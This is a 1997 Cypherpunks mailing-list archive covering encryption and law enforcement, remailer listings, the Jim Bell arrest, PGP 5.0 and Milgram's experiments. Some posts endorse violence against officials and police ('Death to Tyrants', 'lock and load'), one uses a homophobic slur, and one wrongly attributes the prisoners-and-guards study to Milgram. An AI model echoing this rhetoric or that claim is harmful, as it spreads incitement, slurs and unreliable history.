  In other words, why try since such an effort is certain to be futile. 
Surely a rational society should look long and hard at this situation.
  Agent Chuck Davis of the Colorado Bureau of Investigation reported to 
the subcommittee that he has encountered encryption as well as password 
protection problems. In one embezzlement case, a computer system has 
seized. Examination revealed that files on the hard disk were 
encrypted. The software manufacturers were contacted and the technical 
personnel who wrote the program advised that, ``they had left no `back 
door' access to the product as this would adversely impact sales. The 
hallmark of the program's appeal is that it cannot be broken, even by 
those who created it.'' Agent Davis advised that his investigation was 
``halted'' due to the time and expense of a ``brute force attack''. The 
encryption program used was entitled ``watchdog.''
  Agent Davis also advised the subcommittee that password protection 
also presents problems for other types of investigators. In cases 
involving theft of drugs from an emergency room by a doctor, bribery/
extortion by a police officer, and the suicide by an 11 year-old boy 
after telling friends that he had been molested by a family friend, 
investigators encountered password protection. The first two cases were 
successfully resolved through assistance from the manufacturer of the
software.
  The third case, however, especially illustrates the seriousness of 
decryption problems--determining the unique key or in this case, 
password from a large number of possibilities. According to Agent 
Davis, a mere 4 character password has 1.9 million possibilities due to 
the number of keyboard characters. Can you imagine how difficult it 
must be to figure a short, 4 character password. What if the password 
were 10 characters or 20 or more? It's easy to see why criminals are 
moving toward password protection for their records.

--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 17:05:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: <v0300780aafa58a56a692@[207.167.93.63]>
Message-ID: <199705190850.DAA23642@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v0300780aafa58a56a692@[207.167.93.63]>, on 05/18/97 at 11:02 PM,
   Tim May <tcmay@got.net> said:


>(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
>the foreseeable future. A gathering of anarchists, crypto exporters, and
>information terrorists like ourselves is too tempting a target for a
>publicized raid, with cameras rolling, to show the threat of the Four
>Horsemen of the Infocalypse. I for one don't plan to attend any physical
>meetings for a while at least. Going armed to a Cypherpunks meeting in
>preparation for a raid is not a cool thing.)

I was thinking that we could start holding the Cypherpunks meetings
outdoors in the "hills" rather than coffee shops. Bring the pickup truck,
hunting dogs, shotguns and rifles. :)

Ofcource we might get mistaken for an "evil" militia group. :))))

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4AiyY9Co1n+aLhhAQGWWQQAuvmFjeoSSUeC4tvK1pdTbcN152Wni4GC
c2+3/31RD6OjkXRKkmzbm/k/KRhUAEXQLIXBEaomxXFbjr+xLC1QqZVbUq0uNjzs
fbygQYuNWIWxjQRfdz0EFHcHBxk1A+mgyzV26cZze1kcFk8bQuha+ZznOTKsl3Ha
tZGp43pD3kc=
=hGvJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 19 May 1997 22:08:51 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705191350.GAA07200@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 19 May 97 6:49:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ******+*++#*     4:09  99.98%
squirrel mix@squirrel.owl.de              ++-+++-+---   2:11:39  99.87%
weasel   config@weasel.owl.de             ++-+-+-+---   2:13:33  99.86%
winsock  winsock@rigel.cyberpass.net      ---.-+.----   5:30:41  99.83%
jam      remailer@cypherpunks.ca          ******** *+*    13:32  99.63%
lucifer  lucifer@dhp.com                  +++.- ++*+++  1:14:45  99.62%
cyber    alias@alias.cyberpass.net         * *+**+****    14:21  99.49%
balls    remailer@huge.cajones.com        #####*## #++     5:06  99.06%
mix      mixmaster@remail.obscura.com     __ __ .--*-* 34:59:29  98.54%
replay   remailer@replay.com              **     **.-+  2:26:52  98.42%
reno     middleman@cyberpass.net           +-.-+-+ -+   2:17:53  95.56%
hidden   remailer@hidden.net              ##..-####*    2:30:26  93.35%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:12:05 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: <v0300780aafa58a56a692@[207.167.93.63]>
Message-ID: <6g9X7D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:17:33 +0800
To: cypherpunks@toad.com
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <Fu9X7D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)

Idiot - why would I want to do that?

Idiot - tell your POP client not to download files > certain size.

Idiot - get your shell account back.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 19 May 1997 23:03:09 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519074003.006affb0@best.com>
MIME-Version: 1.0
Content-Type: text/plain


and if they encrypted or eliminated the feature that logs all my
pgp-encrypted traffic.

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...
>
>-----BEGIN PGP SIGNATURE-----
>Version: 5.0 beta
>Charset: noconv
>
>iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
>8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
>1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
>EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
>mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
>V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
>=gdHU
>-----END PGP SIGNATURE-----
>
>---
>|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 23:27:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <199705191512.IAA21302@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green writes:

: Right. I read a book on that. I think it was called "The Millgram
: Experiment". Normal people would administer (fake, but they didn't know
: it) electroshocks to a subject even after the subject had stopped moving
: and could have been assumed to be unconscious or even dead. An excellent
: demonstration of the power of authority. And the gullibility of the
: average person. 

Stanley Millgram did quite a few experiments along such lines.  His
conclusion after persuading quite ordinary people to administer what
seemed to be fatal electric shocks to a subject, pressured only by the
orders of an authority figure saying "The experiment must continue"  and
other such phrases, was that should the United States wish to set up a
system of Nazi style death camps, personnel to staff them could be taken
from the population of any average midwestern town. 

He also did another interesting experiment called "prisoners and guards"
in which he selected people at random and dressed them up in the
appropriate uniforms.  The guards happily abused the prisoners, falling
into the appropriate roles almost automatically. 

Of course, such psychological experiments are banned today, because they
don't make it through the ethics committees.  Nonetheless they demonstrate
that there are few differences between "us" and "them," and that most
ordinary people will rise to the occasion when given a new pair of
jackboots. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 23:59:14 +0800
To: cypherpunks@cyberpass.net
Subject: Legality of Millgram-type psychological experiments
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <v03007800afa631f038c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:12 AM -0800 5/19/97, Mike Duvos wrote:

>Of course, such psychological experiments are banned today, because they
                                               ^^^^^^^^^^^^
>don't make it through the ethics committees.  Nonetheless they demonstrate
>that there are few differences between "us" and "them," and that most
>ordinary people will rise to the occasion when given a new pair of
>jackboots.

I'm curious about the "such psychological experiments are banned today"
assertiokn.

Are you saying that if I were to announce such an exeriments at the next
physical Cypherpunks meeting and ask for volunteers that I would be
breaking some law?

Or are you saying instead that most university researchers are now unable
to get grant money from the NSF and CIA to do such experiments?

Or that any professor who publishes on such things may face disciplinary
action from his university?

Big differences.

Insofar as I understand the law, so long as extreme physical torture is
avoided, no laws cover such experiments. (Many religions are in fact
organized along these lines, a la the Moonies, the Krishnas, etc.)

(And extreme physical torture may also be legal, a la S & M and consenting
sex practices, depending on one's jurisdiction. In San Francisco, even the
mayor attends S & M parties.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 20 May 1997 00:57:20 +0800
To: "Yoav Yerushalmi" <yoav@MIT.EDU>
Subject: Re: Distributing cryptographic code
In-Reply-To: <199705191420.IAA22020@teal.csn.net>
Message-ID: <3.0.1.32.19970519090410.00646430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>   We would like to put this code up for distribution (within the US
>> of course), but don't actually know what is a 'reasonable' amount of
>> protection that one need apply to prevent people from exporting
>> it to the rest of the world.

The current MIT PGP software distribution has apparently had some
discussion with the Feds.

MPJ>The technical solution that I have come up with is (1) have a web form
MPJ> that asks 3 questions*, with the questions defaulting to "no"

The questions that get asked can be phrased in a lot of different ways;
as an anarchist I think that pgp.com's is a lot more friendly than some.
A few places go to the extremes of "Are you a Subject of the US Gov't?
Do you agree to be bound by every provision of the US Export laws,
written or unwritten, and not even CONSIDER giving this code to anyone
who might be a Furriner?  Sign in blood here!", while others are more like
"Have you heard that the US export laws say <blah blah blah>?
Do you state that it's ok for you to have the code, and that
it's Not Our Fault?"

MPJ> If all 3 answers are "yes", and if the email address given is in a  
MPJ> domain that might be in the USA (.com, .gov, .org, .us, .mil, .net, 

Of course, .com, .net, and .org are non-nationally-based domains,
and even email servers physically located in the US often have
users located outside US territory.  CompuServe is a prime example,
with users all over the world.  Some US-only-code-distribution sites
try to keep track of which sites are in the US, at least for .net.
Since the MIT code distribution site has been allowed to operate
in spite of this, the attitude of the Export Cops appears to be a
"Yes, we know it's bogus and unenforceable, but we need to at least
maintain the pretense that we're enforcing it, so don't ask
for too much technical clarification or we'll have to say No."

[* Mime-Attachment: x-audio
   Audio-Parameter-Setting: Don-Hopkins-Imitating-Monty-Python
	"WHAT is your name?
	WHAT is your favorite color?
	HOW FAR can a migrating swallow fly while carrying a coconut?"
		"Er, is that a European swallow, or an African swallow?"
	

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 00:30:32 +0800
To: cypherpunks@cyberpass.net
Subject: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <v03007801afa63556053c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:08 PM -0800 5/18/97, Lucky Green wrote:
...
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.
>
>It must be truly frightening to this person to read some of the threads on
>this list. Nerve gas, C4, race-specific biological weapons, bypassing
>airport security systems, not to mention money laundering and tax evasion,
>what hasn't been discussed here?

Well, I think it's been some months since we last talked about the ethics
of having the Ruby Ridge shooter, <CENSORED>, marked for killing by
rightist bounty hunters. (I hear he's changed his name, and may even be in
the Witness Security program, according to a little birdie down at the
range.)

We talk about the things Paine, Franklin, Madison, Jefferson, and other
Founders would probably have talked about were they writing today. (I'm not
comparing our discourse to theirs, in quality or quantity, for lots of
reasons. But certainly some of the more fiery speeches of Mr. "Give me
liberty or give me death!" would surely raise the same flags that our
(theoretical) discussions of initiating infowar against Congress raise.)

Also, my tag line, "Death to tyrants!" is straight out of the Founders' mouths.

(Sadly, we now have several hundred thousand tyrants, mostly in Washington
and state capitals, who have richly earned this fate...something the
Founders would be screaming for action about.)


>The feds may not be aware that the discussions on this list are usually of
>a theoretical nature. Perhaps they decided to go after the
>"co-conspirators". Like the anarchists in California with their AR-15's who
>have so many mags that they can't even  remember where they all are. :-)

I've since found a dozen or so of these clips. Circumstances have motivated
me to look through some of my packed boxes.


>The fact that Jim is held _without bail_ would indicate to me that there is
>more going on than might meet the eye.
>

Indeed. Lock and load.

We talk about the topics of interest to us. If the media characterizes us
as "crazies" or "militia members," or as "terrorists," this is just par for
the course. If, however, police departments and intelligence agencies mark
us for harassment, arrest, prosecution, forfeiture of assets, etc., then
this is what guns are for.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 00:54:26 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970519091747.0083a960@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:08 AM 5/19/97 -0700, Lucky Green wrote:

>There are two reasons I can think of immediately why the feds would keep
>the warrant sealed. The first is that they don't want to reveal just how
>little evidence they have. The second reason is that the warrant might give
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.

Actually the agent claimed to have found it among some papers in Jim's car
when the seized it for back taxes.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 00:34:03 +0800
To: Bill Stewart <tcmay@got.net>
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <v03007800afa62e82cda0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Eudora does have a "Only download messages less than ___K" option
>that can reduce this problem; I don't know if there's also
>a way to delete the message from Eudora without downloading it.
>Netscape Mail has similar options.
>

It does.  If you use the above method for preventing uncontrolled download
(whch I do) and if you also check the "trash attachments with message"
option from the  "Settings" menu, large attachments can be prevented from
download and deleted from the host.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 20 May 1997 00:42:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Legality of Millgram-type psychological experiments
In-Reply-To: <v03007800afa631f038c4@[207.167.93.63]>
Message-ID: <199705191627.JAA14848@netcom16.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

: I'm curious about the "such psychological experiments are banned today"
: assertiokn. 

: Are you saying that if I were to announce such an exeriments at the next
: physical Cypherpunks meeting and ask for volunteers that I would be
: breaking some law? 

Such experiments require major deception on the part of the experimenter
towards the subject, and the experiments are likely to cause post
traumatic stress afterwards. 

This violates current ethical standards concerning informed consent and
freedom from risk to the subject which govern such experiments today. 

If you performed such an experiment on someone outside of current ethical
guidelines, there would be a queue of lawyers a mile long offering to help
the subject sue you after the fact.  It is not inconceivable that the
subject might convince the police to trump up some charges as well,
related to fraud or psychological torture. 

: Or are you saying instead that most university researchers are now unable
: to get grant money from the NSF and CIA to do such experiments? 

That too. 

: Or that any professor who publishes on such things may face disciplinary
: action from his university? 

You would probably be looking your next tenured position in Brazil. 

: Big differences.

: Insofar as I understand the law, so long as extreme physical torture is
: avoided, no laws cover such experiments. (Many religions are in fact
: organized along these lines, a la the Moonies, the Krishnas, etc.)

: (And extreme physical torture may also be legal, a la S & M and consenting
: sex practices, depending on one's jurisdiction. In San Francisco, even the
: mayor attends S & M parties.)

I think the deception aspect of the experiments would be the major cause
of hassles rather than the unpleasantness aspect.  On the other hand, I
believe there have been prosecutions for consensual S&M in a few
supposedly civilized places, like the UK.  I expect a screaming fag with
nipple pinching clothespins and a portable electro-ejaculator could
probably still get himself arrested domestically for plying his trade in
places like Cincinnati or the states of North Carolina, Tennessee, and
Utah. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 00:48:00 +0800
To: geeman <geeman@best.com>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.32.19970519074003.006affb0@best.com>
Message-ID: <3.0.2.32.19970519092908.03eecd90@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:45 AM 5/19/97 -0700, geeman wrote:
>and if they encrypted or eliminated the feature that logs all my
>pgp-encrypted traffic.

Probably need to test that.  It is a pretty disturbing development.

Has anyone asked PGP inc. why that "feature" is there?  (Or are they just
going to hide it better in the future.)

Ya can't trust anyone anymore...

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 20 May 1997 00:54:10 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181853.LAA01875@netcom18.netcom.com>
Message-ID: <v04000100afa62dc5bb96@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713699.multipart/signed"

--Boundary..3954.1071713699.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>
>Have you noticed that none of the PGP people have posted as of late?  I
>wonder if they were among the "purged".
>

I understand they are taking a very narrow interpretation of the
prohibition about rendering technical assistance to non-US citizens.
Mailing lists may not be public enough, so they are being cautious.

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------



--Boundary..3954.1071713699.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogNS4wIGJl
dGEKTWVzc2FnZUlEOiAxNHhvc1dSZkJ2NTAyMzhCcVlEZnpJOERIY3pEVTVp
dQoKaVFDVkF3VUJNNENBNm4wUkYzSENLNHpaQVFFK0NBUDZBaERlTHdPOGhU
SFplWU5DWEJQNDAzODNVMVRkUTI3NwpDT1VnQVpXbHFVQmVhRXcwelU3djFS
aytWWUJQOGdPQ3VnbTlISjEzWVRyMXBwK3dNNThGY2JkUjAwMHNrZE5pCnhK
TjBkbE5QSTQ2czNNTmxoajkvRmkyUDFLdXFTTDIvTEJMNG5jMjB5bHV4UldY
bkswOTZ0ZnVLSmNFd2Q5TW8KVnNLcUQ3UGV4Unc9Cj1xSVdOCi0tLS0tRU5E
IFBHUCBTSUdOQVRVUkUtLS0tLQo=
--Boundary..3954.1071713699.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <dibona@acm.org>
Date: Tue, 20 May 1997 01:37:46 +0800
To: "cypherpunks@toad.com>
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physical meeting
Message-ID: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



<RANT>

I couldn't disagree with you more Tim.

If the FBI wants to come raid a Cypherpunk meeting and arrest me, they should be ready for a law suit that will make thier heads spin. I mean can you think of anything more protected by the first amendment than a bunch of hobbiest getting together to discuss math, for christs sakes? I know a couple of lawyers who would drool at the chance to defend someone who is lily white and is arrested for meeting and discussing prime numbers. 

To suggest the cessation of meetings (no matter how worthless Dimitri) really seems to me to be counter to everything this group is about. 

</RANT>

    Chris DiBona


-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv@bwalk.dm.com]
Sent:	Monday, May 19, 1997 4:30 AM
To:	cypherpunks@toad.com
Subject:	Re: Jim Bell goes to Jail--We should avoid raidable, physical meeting

Tim May <tcmay@got.net> writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
